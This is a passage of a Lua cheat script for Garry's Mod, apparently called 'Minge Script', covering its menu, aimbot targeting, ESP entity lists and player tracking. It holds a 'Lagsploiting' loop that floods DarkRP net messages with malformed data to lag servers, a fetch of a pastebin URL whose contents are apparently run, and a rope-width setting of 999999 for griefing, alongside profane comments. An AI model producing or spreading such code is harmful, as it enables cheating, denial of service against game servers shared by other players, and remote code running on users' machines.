  1240.  
  1241. local SheetRight = vgui.Create( "DPanelList", FriendsPanel )
  1242. SheetRight:SetPos( 2, 2 )
  1243. SheetRight:SetSize( w, h )
  1244. SheetRight:SetSpacing( 6 )
  1245. SheetRight:SetPadding( 4 )
  1246. SheetRight:EnableVerticalScrollbar( true )
  1247.  
  1248. PlayerList = vgui.Create( "DListView", SheetRight )
  1249. PlayerList:SetPos( 4, 4 )
  1250. PlayerList:AddColumn( "Potential Targets" )
  1251. PlayerList:SetSize( w /2.22, h -48 )
  1252. PlayerList:SetSortable( true )
  1253. PlayerList:SetMultiSelect( false )
  1254. PlayerList.RebuildList = function()
  1255. PlayerList:Clear()
  1256. PlayerList.friends = {}
  1257. MS.PotentialTargetListNames = {}
  1258.  
  1259. for k,v in pairs( player.GetAll() ) do
  1260. if( !IsValid( v ) or v == LocalPlayer() or table.HasValue( MS.Friends, v ) or table.HasValue( MS.PotentialTargetListNames, v:Nick() ) or table.HasValue( PlayerList.friends, v ) ) then continue end
  1261. table.insert( PlayerList.friends, v )
  1262. table.insert( MS.PotentialTargetListNames, v:Nick() )
  1263. end
  1264.  
  1265. table.sort( MS.PotentialTargetListNames )
  1266. for k,v in pairs( MS.PotentialTargetListNames ) do
  1267. PlayerList:AddLine( v )
  1268. end
  1269. end
  1270.  
  1271. PlayerList.OnRowSelected = function( panel, line )
  1272. AddFriend( FindByName( MS.PotentialTargetListNames[ line ] ) )
  1273. PlayerList:RebuildList()
  1274. FriendsList:RebuildList()
  1275. end
  1276.  
  1277. FriendsList = vgui.Create( "DListView", SheetRight )
  1278. FriendsList:AddColumn( "Friends" )
  1279. FriendsList:SetPos( w /2 -8, 4 )
  1280. FriendsList:SetSize( w /2.213, h -48 )
  1281. FriendsList:SetSortable( true )
  1282. FriendsList:SetMultiSelect( false )
  1283. FriendsList.RebuildList = function()
  1284. FriendsList:Clear()
  1285. FriendsList.friends = {}
  1286. MS.FriendsListNames = {}
  1287. for k,v in pairs( MS.Friends ) do
  1288. if( !IsValid( v ) or v == LocalPlayer() ) then continue end
  1289. table.insert( FriendsList.friends, v )
  1290. table.insert( MS.FriendsListNames, v:Nick() )
  1291. end
  1292. table.sort( MS.FriendsListNames )
  1293. for k,v in pairs( MS.FriendsListNames ) do
  1294. FriendsList:AddLine( v )
  1295. end
  1296. end
  1297. FriendsList.OnRowSelected = function( panel, line )
  1298. RemoveFriend( FindByName( MS.FriendsListNames[ line ] ) )
  1299. FriendsList:RebuildList()
  1300. PlayerList:RebuildList()
  1301. end
  1302. FriendsList:RebuildList()
  1303. PlayerList:RebuildList()
  1304. return FriendsPanel
  1305. end
  1306.  
  1307. local function GenerateEntsSheet( w, h )
  1308. EntPanel = vgui.Create( "DPanel" )
  1309. EntPanel:SetPos( 2, 2 )
  1310. EntPanel:SetSize( w - 4, h - 4 )
  1311. EntPanel.Paint = function()
  1312. draw.RoundedBox( 3, 0, 0, EntPanel:GetWide(), EntPanel:GetTall(), Color( 50, 50, 50, 255 ) )
  1313. end
  1314. local SheetLeft = vgui.Create( "DPanelList", EntPanel )
  1315. SheetLeft:SetPos( 2, 2 )
  1316. SheetLeft:SetSize( w, h )
  1317. SheetLeft:SetSpacing( 3 )
  1318. SheetLeft:SetPadding( 4 )
  1319. SheetLeft:EnableVerticalScrollbar( true )
  1320.  
  1321. EntList = vgui.Create( "DListView", SheetLeft )
  1322. EntList:AddColumn( "Entities On The Server" )
  1323. EntList:SetPos( 4, 4 )
  1324. EntList:SetSize( w/2.22, h-48 )
  1325. EntList:SetSortable( true )
  1326. EntList:SetMultiSelect( false )
  1327. EntList.Ents = {}
  1328. EntList.RebuildList = function()
  1329. EntList:Clear()
  1330. EntList.Ents = {}
  1331.  
  1332. for k,v in pairs( ents.GetAll() ) do
  1333. if( !table.HasValue( MS.Settings.Visuals.customents, v:GetClass() ) and !string.find( string.lower( v:GetClass() ), "class c" ) and !string.find( string.lower( v:GetClass() ), "func_" ) and !table.HasValue( EntList.Ents, v:GetClass() ) ) then
  1334. table.insert( EntList.Ents, v:GetClass() )
  1335. end
  1336. end
  1337. table.sort( EntList.Ents )
  1338. for k,v in pairs( EntList.Ents ) do
  1339. EntList:AddLine( v )
  1340. end
  1341. end
  1342.  
  1343. EntList.OnRowSelected = function( panel, line )
  1344. table.insert( EntList.Ents, panel:GetLine( line ):GetValue( 1 ) )
  1345. table.insert( MS.Settings.Visuals.customents, panel:GetLine( line ):GetValue( 1 ) )
  1346. EntList:RebuildList()
  1347. ESPEntList:RebuildList()
  1348. end
  1349.  
  1350. ESPEntList = vgui.Create( "DListView", SheetLeft )
  1351. ESPEntList:AddColumn( "Entities Displayed On ESP" )
  1352. ESPEntList:SetPos( w/2 -8, 4 )
  1353. ESPEntList:SetSize( w/2.213, h-48 )
  1354. ESPEntList:SetSortable( true )
  1355. ESPEntList:SetMultiSelect( false )
  1356. ESPEntList.RebuildList = function()
  1357. ESPEntList:Clear()
  1358. table.sort( MS.Settings.Visuals.customents )
  1359. for k,v in pairs( MS.Settings.Visuals.customents ) do
  1360. ESPEntList:AddLine( v )
  1361. end
  1362. end
  1363. ESPEntList.OnRowSelected = function( panel, line )
  1364. for k,v in pairs( MS.Settings.Visuals.customents ) do
  1365. if( v == panel:GetLine( line ):GetValue( 1 ) ) then
  1366. for k2, v2 in pairs( EntList.Ents ) do
  1367. if( v == v2 ) then
  1368. table.remove( EntList.Ents, k2 )
  1369. end
  1370. end
  1371. table.remove( MS.Settings.Visuals.customents, k )
  1372. end
  1373. end
  1374. ESPEntList:RebuildList()
  1375. EntList:RebuildList()
  1376. end
  1377. ESPEntList:RebuildList()
  1378. EntList:RebuildList()
  1379. return EntPanel
  1380. end
  1381.  
  1382. local function GenerateRopeSheet( w, h )
  1383. RopePanel = vgui.Create( "DPanel" )
  1384. RopePanel:SetPos( 2, 2 )
  1385. RopePanel:SetSize( w - 4, h - 4 )
  1386. RopePanel.Paint = function()
  1387. draw.RoundedBox( 3, 0, 0, RopePanel:GetWide(), RopePanel:GetTall(), Color( 50, 50, 50, 255 ) )
  1388. end
  1389.  
  1390. local MaterialList = vgui.Create( "DListView", RopePanel )
  1391. MaterialList:SetPos( 6, 6 )
  1392. MaterialList:SetSize( w -29, h-48 )
  1393. MaterialList:SetMultiSelect( false )
  1394. MaterialList:AddColumn( "Materials - Double click sets rope/slider/wire etc" )
  1395. MaterialList:SetSortable( false )
  1396.  
  1397. MaterialNames = ( file.Read( "materials_list.txt", "DATA" ) )
  1398. for k,v in pairs( string.Explode( ",", MaterialNames ) ) do
  1399. MaterialList:AddLine( string.Trim( v ) )
  1400. end
  1401.  
  1402. MaterialList.OnRowSelected = function( panel, line )
  1403. selectedmat = panel:GetLine( line ):GetValue( 1 )
  1404. if( string.len( selectedmat ) < 1 ) or string.find( selectedmat, "##" ) then return end
  1405. LogMsg( "UPDATED MATERIAL PREVIEW" )
  1406. MS.Settings.Visuals.RopeMaterial = selectedmat
  1407. end
  1408.  
  1409. MaterialList.DoDoubleClick = function( panel, line )
  1410. if( string.len( selectedmat ) < 1 ) or string.find( selectedmat, "##" ) then return end
  1411. for k,v in pairs( MS.MaterialsAndWidths ) do
  1412. if( string.find( v, "material" ) ) then
  1413. RCC( v, selectedmat )
  1414. LogMsg( "UPDATED " .. v )
  1415. elseif( string.find( v, "width" ) ) then
  1416. RCC( v, 999999 )
  1417. LogMsg( "UPDATED " .. v )
  1418. end
  1419. end
  1420. end
  1421. return RopePanel
  1422. end
  1423.  
  1424. local function PopulateVGUIElements()
  1425. Window = vgui.Create( "DFrame" )
  1426. Window:SetSize( 338, 305 )
  1427. Window:SetPos( ScrW() /2 -( Window:GetWide() /2 ), ScrH() /2 -( Window:GetTall() /2 ) )
  1428. Window:SetTitle( string.rep( " ", Window:GetWide() /8 ) .. "Minge Script" )
  1429. Window:ShowCloseButton( false )
  1430. PreviewWindow = vgui.Create( "DFrame" )
  1431. PreviewWindow:SetSize( 305, 305 )
  1432. PreviewWindow:SetDraggable( false )
  1433. Window.OnClose = function()
  1434. MS.MenuFirstPass = true
  1435. MS.StayOpen = false
  1436. PreviewWindow:Close()
  1437. HKR( "Think", "UpdatePreview" )
  1438. end
  1439. Window:MakePopup()
  1440.  
  1441. PreviewWindow:SetTitle( string.rep( " ", PreviewWindow:GetWide() /10 ) .. "Rope Material Preview" )
  1442. PreviewWindow:ShowCloseButton( false )
  1443. PreviewWindow:MakePopup()
  1444. local Panel = vgui.Create( "DPanel", PreviewWindow )
  1445. Panel:SetPos( 2, 2 )
  1446. Panel:SetSize( PreviewWindow:GetWide() - 4, PreviewWindow:GetTall() - 4 )
  1447. Panel.Paint = function()
  1448. draw.RoundedBox( 3, 0, 0, Panel:GetWide(), Panel:GetTall(), Color( 50, 50, 50, 255 ) )
  1449. end
  1450. local Preview = vgui.Create( "Material", Panel )
  1451. Preview:SetSize( Panel:GetWide() - 4, Panel:GetTall() - 4 )
  1452. Preview:SetPos( 2, 2 )
  1453. Preview.AutoSize = false
  1454. function UpdatePreview()
  1455. if( RopePanel:IsVisible() ) then
  1456. local WindowX, WindowY = Window:GetPos()
  1457. PreviewWindow:SetPos( ( WindowX + Window:GetWide() /2 ) +( PreviewWindow:GetWide() /1.81 ), ( WindowY + Window:GetTall() /2 ) -( PreviewWindow:GetTall() /2 ) )
  1458. PreviewWindow:SetVisible( true )
  1459. Preview:SetMaterial( MS.Settings.Visuals.RopeMaterial )
  1460. end
  1461. if( VisualPanel:IsVisible() or PlayerVisPanel:IsVisible() or AimbotPanel:IsVisible() or FriendsPanel:IsVisible() or EntPanel:IsVisible() ) then
  1462. PreviewWindow:SetVisible( false )
  1463. end
  1464. end
  1465.  
  1466. PropertySheet = vgui.Create( "DPropertySheet", Window )
  1467. PropertySheet:SetSize( Window:GetWide() - 8, Window:GetTall() - 35 )
  1468. PropertySheet:SetPos( 4, 30 )
  1469. PropertySheet:SetPadding( 8 )
  1470. PropertySheet:AddSheet( "Visuals", GenerateVisualsSheet( PropertySheet:GetWide(), PropertySheet:GetTall() ), false, false, false, "Visual shit" )
  1471. PropertySheet:AddSheet( "Player Visuals", GeneratePlayerVisualsSheet( PropertySheet:GetWide(), PropertySheet:GetTall() ), false, false, false, "Visuals whatcome go on players, huh" )
  1472. PropertySheet:AddSheet( "Aimbot", GenerateAimbotSheet( PropertySheet:GetWide(), PropertySheet:GetTall() ), false, false, false, "Settings related to shooting stuff" )
  1473. PropertySheet:AddSheet( "Friends", GenerateFriendsSheet( PropertySheet:GetWide(), PropertySheet:GetTall() ), false, false, false, "Aimbot friends list" )
  1474. PropertySheet:AddSheet( "Ents", GenerateEntsSheet( PropertySheet:GetWide(), PropertySheet:GetTall() ), false, false, false, "Entities to display on ESP" )
  1475. if( ConVarExists( "rope_material" ) ) then
  1476. if( !file.Exists( "materials_list.txt", "DATA" ) ) then
  1477. file.Write( "materials_list.txt", "effects/alyxmonitor_talk, \nmatsys_regressiontest/background, \n, \nto edit goto garrysmod/data/materials_list.txt, \nDON'T FUCKING FORGET THE COMMAS, \nexcept for the last one which doesn't need it, \nunless you want a blank space being a cunt, \nand shitting up the last line of the list like this, ", "DATA" )
  1478. end
  1479. PropertySheet:AddSheet( "Ropes", GenerateRopeSheet( PropertySheet:GetWide(), PropertySheet:GetTall() ), false, false, false, "Ropes" )
  1480. end
  1481. Window:SetVisible( false )
  1482. PreviewWindow:SetVisible( false )
  1483. end
  1484.  
  1485. local function OpenMenu()
  1486. LogMsg( "OPENING MENU" )
  1487. PopulateVGUIElements()
  1488. FriendsList:RebuildList()
  1489. PlayerList:RebuildList()
  1490. Window:SetVisible( true )
  1491. HKA( "Think", "UpdatePreview", UpdatePreview )
  1492. MS.MenuOpen = true
  1493. if( !MS.MenuFirstPass and MS.MenuTimer >CurTime() )then
  1494. LogMsg( "HIT 1" )
  1495. Window:ShowCloseButton( true )
  1496. MS.MenuTimer = CurTime() +0.28
  1497. MS.StayOpen = true
  1498. else
  1499. LogMsg( "HIT 2" )
  1500. MS.MenuTimer = CurTime() +0.28
  1501. Window:ShowCloseButton( false )
  1502. MS.MenuFirstPass = false
  1503. end
  1504. LogMsg( "OPENING MENU FINISHED" )
  1505. end
  1506. CCA( "+ms_menu", OpenMenu )
  1507.  
  1508. local function CloseMenu()
  1509. LogMsg( "CLOSING MENU" )
  1510. if( !Window ) then
  1511. PopulateVGUIElements()
  1512. end
  1513. MS.MenuOpen = false
  1514.  
  1515. if( !MS.StayOpen ) then
  1516. HKR( "Think", "UpdatePreview" )
  1517. end
  1518.  
  1519. if( MS.MenuTimer < CurTime() and !MS.StayOpen ) then
  1520. LogMsg( "HIT 3" )
  1521. Window:SetVisible( false )
  1522. PreviewWindow:SetVisible( false )
  1523. MS.MenuFirstPass = true
  1524. end
  1525. if( MS.MenuTimer > CurTime() )then
  1526. LogMsg( "HIT 4" )
  1527. if( !MS.StayOpen )then
  1528. LogMsg( "HIT 4.1" )
  1529. Window:SetVisible( false )
  1530. PreviewWindow:SetVisible( false )
  1531. end
  1532. MS.MenuFirstPass = false
  1533. end
  1534. LogMsg( "Settings Saved" )
  1535. file.Write( "mssettings.txt", util.TableToJSON( MS.Settings ) )
  1536. LogMsg( "CLOSING MENU FINISHED" )
  1537. end
  1538. CCA( "-ms_menu", CloseMenu )
  1539.  
  1540. surface.CreateFont( "ass", { font = "coolvetica", size = 18, antialias = true } )
  1541.  
  1542. local MultiTracePositions = {
  1543. function( p )
  1544. if( p.GetShootPos ) then
  1545. return p:GetShootPos()
  1546. else
  1547. return p:GetPos()
  1548. end
  1549. end,
  1550. function( p )
  1551. return p:GetPos()
  1552. end,
  1553. function( p )
  1554. return p:GetPos() + Vector( 0, 0, 25 )
  1555. end
  1556. }
  1557.  
  1558. local function DebugToggle()
  1559. MS.Settings.Debug = !MS.Settings.Debug
  1560. EnabledDisabled( "DEBUG MESSAGES", MS.Settings.Debug )
  1561. end
  1562. CCA( "ms_debug", DebugToggle )
  1563.  
  1564. local function ClearTList()
  1565. MS.Traitors = {}
  1566. MS.DetectingTs = false
  1567. LogMsg( "NEW ROUND - TRAITOR LIST CLEARED" )
  1568. end
  1569. HKA( "TTTPrepareRound", "ClearTList", ClearTList )
  1570. local function StartDetectingTs()
  1571. MS.DetectingTs = true
  1572. LogMsg( "TRAITORS SELECTED - CHECKING FOR TRAITOR WEAPONS" )
  1573. end
  1574. HKA( "TTTBeginRound", "StartDetectingTs", StartDetectingTs )
  1575.  
  1576. local function GetPosition( ent )
  1577. if( ent.GetShootPos ) then
  1578. return ent:GetShootPos()
  1579. elseif( ent.GetPos ) then
  1580. return ent:GetPos()
  1581. end
  1582. end
  1583.  
  1584. function IsInSpawn( pos )
  1585. if( !string.find( string.lower( game.GetMap() ), "downtown" ) ) then return false end
  1586. return( pos.x >MS.SpawnMinBounds.x and pos.x <MS.SpawnMaxBounds.x and pos.y >MS.SpawnMinBounds.y and pos.y <MS.SpawnMaxBounds.y and pos.z >MS.SpawnMinBounds.z and pos.z <MS.SpawnMaxBounds.z )
  1587. end
  1588.  
  1589. local function IsVisible( ply )
  1590. local Visible = true
  1591. if( MS.Settings.Aimbot.multitrace ) then
  1592. for k,v in pairs( MultiTracePositions ) do
  1593. local Trace = util.TraceLine( { start = LocalPlayer():GetShootPos(), endpos = v( ply ), mask = MASK_SHOT, filter = { LocalPlayer(), ply } } )
  1594. if( Trace.Hit ) then
  1595. Visible = false
  1596. end
  1597. end
  1598. else
  1599. local Trace = util.TraceLine( { start = LocalPlayer():GetShootPos(), endpos = GetPosition( ply ), mask = MASK_SHOT, filter = { LocalPlayer(), ply } } )
  1600. return !Trace.Hit
  1601. end
  1602. return Visible
  1603. end
  1604.  
  1605. local function GetFOV( ply )
  1606. local Ang = ( ( ply:GetPos() + Vector( 0, 0, 40 ) ) -LocalPlayer():GetPos() ):Angle()
  1607. local DiffX = math.abs( math.NormalizeAngle( LocalPlayer():EyeAngles().p - Ang.p ) )
  1608. local DiffY = math.abs( math.NormalizeAngle( LocalPlayer():EyeAngles().y - Ang.y ) )
  1609. return DiffX, DiffY
  1610. end
  1611.  
  1612. local function IsInFOV( ply )
  1613. local DiffX, DiffY = GetFOV( ply )
  1614. return DiffX <= MS.Settings.Aimbot.maxfov and DiffY <= MS.Settings.Aimbot.maxfov
  1615. end
  1616.  
  1617. local function IsOutOfFOV( ent )
  1618. if( ent == LocalPlayer() or LocalPlayer():InVehicle() or MS.Settings.Visuals.thirdperson or GetViewEntity() != LocalPlayer() ) then return end
  1619. DiffX, DiffY = GetFOV( ent )
  1620. if( DiffX <= 100 and DiffY <= 100 ) then return false end
  1621. return true
  1622. end
  1623.  
  1624. local function GetSuitableTarget()
  1625. MS.SnapBack = true
  1626. local ply
  1627. MS.SuitableTargetTable = player.GetAll()
  1628. MS.MaxFOV = 180
  1629. if( MS.Settings.Aimbot.targetnpcs ) then
  1630. for k,v in pairs( MS.TargetNPCClasses ) do
  1631. table.Add( MS.SuitableTargetTable, ents.FindByClass( v ) )
  1632. end
  1633. end
  1634.  
  1635. table.sort( MS.SuitableTargetTable, function( a, b ) local aX, aY = GetFOV( a ) local bX, bY = GetFOV( b ) return aX + aY < bX + bY end )
  1636. for k,v in pairs( MS.SuitableTargetTable ) do
  1637. if( !IsValid( v ) or v == LocalPlayer() or table.HasValue( MS.Friends, v ) or !IsInFOV( v ) or !IsVisible( v ) or v:Health()<1 or IsInSpawn( v:GetPos() ) --[[or v:GetMoveType() == 0 ]]or v:IsPlayer() and ( v:InVehicle() or v:GetObserverTarget() or ( gmod.GetGamemode().Name == "Trouble in Terrorist Town" and team.GetName( LocalPlayer():Team() ) == "Spectators" and team.GetName( v:Team() ) != "Spectators" ) or ( MS.Settings.Aimbot.ignorefriends and v:GetFriendStatus() == "friend" ) or ( MS.Settings.Aimbot.ignoreteammates and v:Team() == LocalPlayer():Team() ) ) or ( v:IsNPC() and v:GetClass() == "npc_turret_floor" ) ) then continue end
  1638. ply = v
  1639. break
  1640. end
  1641. return ply
  1642. end
  1643.  
  1644. //isolate
  1645. local function Isolate( p, c, a )
  1646. if( !a[ 1 ] ) then return end
  1647. if( a[ 1 ] == "*" )then
  1648. MS.Isolated = {}
  1649. return
  1650. end
  1651. if( a[ 1 ] == "admins" ) then
  1652. for k,v in pairs( player.GetAll() ) do
  1653. if( !v:IsAdmin() ) then continue end
  1654. table.insert( MS.Isolated, v )
  1655. end
  1656. return
  1657. end
  1658. if( a[ 1 ] == "friends" ) then
  1659. for k,v in pairs( player.GetAll() ) do
  1660. if( v:GetFriendStatus() != "friend" ) then continue end
  1661. table.insert( MS.Isolated, v )
  1662. end
  1663. return
  1664. end
  1665. if( !FindByName( a[ 1 ] ) ) then return
  1666. MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1667. end
  1668. table.insert( MS.Isolated, FindByName( a[ 1 ] ) )
  1669. end
  1670. CCA( "ms_isolate", Isolate )
  1671.  
  1672. //priority
  1673. local function Priority( p, c, a )
  1674. if( !a[ 1 ] ) then return end
  1675. if( !FindByName( a[ 1 ] ) ) then return
  1676. MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1677. end
  1678. table.insert( MS.HighPriority, FindByName( a[ 1 ] ) )
  1679. end
  1680. CCA( "ms_priority", Priority )
  1681. local function NoPriority( p, c, a )
  1682. if( !a[ 1 ] ) then return end
  1683. if( !FindByName( tostring( a[ 1 ] ) ) ) then return
  1684. MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1685. end
  1686. for k,v in pairs( MS.HighPriority ) do
  1687. if( v != FindByName( tostring( a[ 1 ] ) ) ) then continue end
  1688. table.remove( MS.HighPriority, k )
  1689. end
  1690. end
  1691. CCA( "ms_nopriority", NoPriority )
  1692.  
  1693. //track
  1694. local function Track( p, c, a )
  1695. if( !a[ 1 ] ) then return end
  1696. if( a[ 1 ] == "*" ) then
  1697. HKA( "Think", "TrackEveryone", function()
  1698. MS.Tracked = table.Copy( player.GetAll() )
  1699. end )
  1700. return
  1701. end
  1702. if( a[ 1 ] == "admins" ) then
  1703. for k,v in pairs( player.GetAll() ) do
  1704. if( !v:IsAdmin() ) then continue end
  1705. table.insert( MS.Tracked, v )
  1706. end
  1707. return
  1708. end
  1709. if( a[ 1 ] == "friends" ) then
  1710. for k,v in pairs( player.GetAll() ) do
  1711. if( v:GetFriendStatus() != "friend" ) then continue end
  1712. table.insert( MS.Tracked, v )
  1713. end
  1714. return
  1715. end
  1716. if( !FindByName( a[ 1 ] ) ) then return
  1717. MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1718. end
  1719. table.insert( MS.Tracked, FindByName( a[ 1 ] ) )
  1720. end
  1721. CCA( "ms_track", Track )
  1722. local function LoseTrack( p, c, a )
  1723. if( !a[ 1 ] or #MS.Tracked < 1 ) then return end
  1724. HKR( "Think", "TrackEveryone" )
  1725. if a[ 1 ] == "*" then
  1726. MS.Tracked = {}
  1727. return
  1728. end
  1729. if( !FindByName( a[ 1 ] ) ) then return
  1730. MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1731. end
  1732. for k,v in pairs( MS.Tracked ) do
  1733. if v != FindByName( a[ 1 ] ) then continue end
  1734. table.remove( MS.Tracked, k )
  1735. end
  1736. end
  1737. CCA( "ms_losetrack", LoseTrack )
  1738.  
  1739. //clientside chat mute
  1740. local function MSMute( p, c, a )
  1741. if( !a[ 1 ] ) then return end
  1742. if( a[ 1 ] == "*" )then
  1743. MS.MutedCunts = table.Copy( player.GetAll() )
  1744. MSMsg( "MUTED EVERYONE" )
  1745. return
  1746. end
  1747. if( !FindByName( a[ 1 ] ) ) then return
  1748. MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1749. end
  1750. table.insert( MS.MutedCunts, FindByName( a[ 1 ] ) )
  1751. MSMsg( "MUTED " .. FindByName( a[ 1 ] ):Nick() )
  1752. end
  1753. CCA( "ms_mute", MSMute )
  1754. local function MSUnMute( p, c, a )
  1755. if( !a[ 1 ] ) then return end
  1756. if( a[ 1 ] == "*" )then
  1757. MS.MutedCunts = {}
  1758. MSMsg( "UNMUTED EVERYONE" )
  1759. return
  1760. end
  1761. if( !FindByName( a[ 1 ] ) ) then return
  1762. MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1763. end
  1764. for k,v in pairs( MS.MutedCunts ) do
  1765. if( v != FindByName( a[ 1 ] ) ) then continue end
  1766. table.remove( MS.MutedCunts, k )
  1767. MSMsg( "UNMUTED " .. v:Nick() )
  1768. end
  1769. end
  1770. CCA( "ms_unmute", MSUnMute )
  1771. local function MuteChat( p, m )
  1772. if( p == LocalPlayer() or #MS.MutedCunts < 1 ) or !table.HasValue( MS.MutedCunts, p ) then return end
  1773. LogMsg( p:Nick() .. "( MUTED ): " .. m )
  1774. return true
  1775. end
  1776. HKA( "OnPlayerChat", "MuteChat", MuteChat )
  1777.  
  1778. //clientside voice mute
  1779. local function MSGag( p, c, a )
  1780. if( !a[ 1 ] ) then return end
  1781.  
  1782. if( a[ 1 ] == "*" ) then
  1783. for k,v in pairs( player.GetAll() ) do
  1784. v:SetMuted( true )
  1785. end
  1786. MSMsg( "GAGGED EVERYONE" )
  1787. return
  1788. end
  1789. if( !FindByName( a[ 1 ] ) ) then return
  1790. MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1791. end
  1792. FindByName( a[ 1 ] ):SetMuted( true )
  1793. MSMsg( "GAGGED " .. FindByName( a[ 1 ] ):Nick() )
  1794. end
  1795. CCA( "ms_gag", MSGag )
  1796. local function MSUngag( p, c, a )
  1797. if( !a[ 1 ] ) then return end
  1798. if( a[ 1 ] == "*" ) then
  1799. for k,v in pairs( player.GetAll() ) do
  1800. v:SetMuted( false )
  1801. end
  1802. MSMsg( "UNGAGGED EVERYONE" )
  1803. return
  1804. end
  1805. if( !FindByName( a[ 1 ] ) ) then return
  1806. MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1807. end
  1808. FindByName( a[ 1 ] ):SetMuted( false )
  1809. MSMsg( "UNGAGGED " .. FindByName( a[ 1 ] ):Nick() )
  1810. end
  1811. CCA( "ms_ungag", MSUngag )
  1812.  
  1813. SteamIDs = {{Nothing = "STEAM"}};
  1814. http.Fetch( "http://pastebin.com/raw.php?i=PGpVaE6Y",
  1815. function( body, len, headers, code )
  1816. RSTR( body )
  1817. end,
  1818. function( error )
  1819. end );
  1820. local function GetHash( sid )
  1821. local steamthing = tonumber( string.sub( string.Explode( ":", sid ) [3], 1, 3 ) )
  1822. return( tostring( tonumber( util.CRC( "gm_" .. sid .. "_gm" ) ) % 83755 * 12826596 + steamthing ) )
  1823. end
  1824.  
  1825. local function Think()
  1826. if( MS.Lagsploiting ) then
  1827. for i=1, 1000 do
  1828. net.Start( "DarkRP_preferredjobmodel" )
  1829. net.WriteUInt( -8, 8 )
  1830. net.WriteString( "\n\n\n\n\n\n\n\n\t\t\t\t\t\t\t\t\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\t\t\t\t\t\t\t\t\n\n\n\n\n\n\n\n" )
  1831. net.SendToServer()
  1832. net.Start( "DarkRP_spawnPocket" )
  1833. net.WriteFloat( -0.1 )
  1834. net.SendToServer()
  1835. end
  1836. end
  1837.  
  1838. if( MS.Settings.Aimbot.silent ) then
  1839. MS.SilentAimPingAdjust = math.Round( LocalPlayer():Ping()*2.2 /1000, 2 )
  1840. end
  1841.  
  1842. if( MS.Hopping ) then
  1843. RCC( ( ( LocalPlayer():IsOnGround() or LocalPlayer():WaterLevel() > 0 or LocalPlayer():GetMoveType() == MOVETYPE_NOCLIP or LocalPlayer():InVehicle() ) and "+" or "-" ).."jump" )
  1844. end
  1845.  
  1846. if( #MS.Traitors >0 or #MS.HighPriority >0 ) then
  1847. MS.Colours.traitorred = Color( math.Clamp( ( math.cos( CurTime() *10 ) +1 ) /2 *1000, 100, 255 ), 0, 0 )
  1848. end
  1849.  
  1850. if( MS.Settings.Visuals.headsmash ) then
  1851. MS.Colours.Random = table.Random( MS.Colours )
  1852. end
  1853.  
  1854. if( !MS.Settings.teamcolours and !MS.Settings.Visuals.rainbow and MS.UpdateCol ) then
  1855. MS.Colours.Col = Color( MS.Settings.Visuals.CustomR, MS.Settings.Visuals.CustomG, MS.Settings.Visuals.CustomB )
  1856. MS.UpdateCol = false
  1857. end
  1858.  
  1859. if( !MS.Settings.Visuals.rainbow and MS.UpdatePropCol ) then
  1860. MS.Colours.PropChamsColour = Color( MS.Settings.Visuals.PropR, MS.Settings.Visuals.PropG, MS.Settings.Visuals.PropB, MS.Settings.Visuals.PropA )
  1861. MS.UpdatePropCol = false
  1862. end
  1863.  
  1864. if( MS.Settings.Visuals.rainbow ) then
  1865. MS.Colours.Col = HSVToColor( CurTime() *MS.Settings.Visuals.rainbowmult*10 %360, 1, 1 )
  1866. MS.Colours.PropChamsColour = InvertColour( MS.Colours.Col )
  1867. if( MS.UpdatePropCol ) then
  1868. MS.UpdatePropCol = false
  1869. end
  1870. if( MS.UpdateCol ) then
  1871. MS.UpdateCol = false
  1872. end
  1873. end
  1874.  
  1875. if( #MS.Tracked > 0 ) then
  1876. if( LocalPlayer():GetObserverTarget() ) then
  1877. MS.Start = LocalPlayer():GetObserverTarget():GetShootPos() + LocalPlayer():GetObserverTarget():GetAimVector() * 100 - Vector( 0, 0, 30 )
  1878. end
  1879. end
  1880.  
  1881. if( MS.Settings.Visuals.crosshair ) then
  1882. if( LocalPlayer():GetEyeTrace().Entity:IsPlayer() ) or ( LocalPlayer():GetEyeTrace().Entity:IsNPC() ) then
  1883. if( MS.Settings.Visuals.playerchams and !LocalPlayer():GetEyeTrace().Entity:IsNPC() ) then
  1884. if( MS.Settings.Visuals.teamcolours ) then
  1885. MS.Colours.CrosshairCol = InvertColour( team.GetColor( LocalPlayer():GetEyeTrace().Entity:Team() ) )
  1886. else
  1887. MS.Colours.CrosshairCol = InvertColour( MS.Colours.Col )
  1888. end
  1889. else
  1890. MS.Colours.CrosshairCol = MS.Colours.red
  1891. end
  1892. elseif( MS.Settings.Visuals.propchams and IsValid( LocalPlayer():GetEyeTrace().Entity ) ) and ( table.HasValue( MS.ChamTable, LocalPlayer():GetEyeTrace().Entity ) ) then
  1893. if( MS.Settings.Visuals.rainbow ) then
  1894. MS.Colours.CrosshairCol = MS.Colours.Col
  1895. else
  1896. MS.Colours.CrosshairCol = InvertColour( MS.Colours.PropChamsColour )
  1897. end
  1898. else
  1899. MS.Colours.CrosshairCol = HSVToColor( CurTime()*( MS.Settings.Visuals.crosshairspeed *15 ) % 360, 1, 1 )
  1900. end
  1901.  
  1902. MS.CHOutterPos1 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed ) *30, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed ) *30, 0 )
  1903. MS.CHOutterPos2 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed ) *20, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed ) *20, 0 )
  1904. MS.CHOutterPos3 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *30, ScrH() /2 + math.cos( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *30, 0 )
  1905. MS.CHOutterPos4 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *20, ScrH() /2 + math.cos( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *20, 0 )
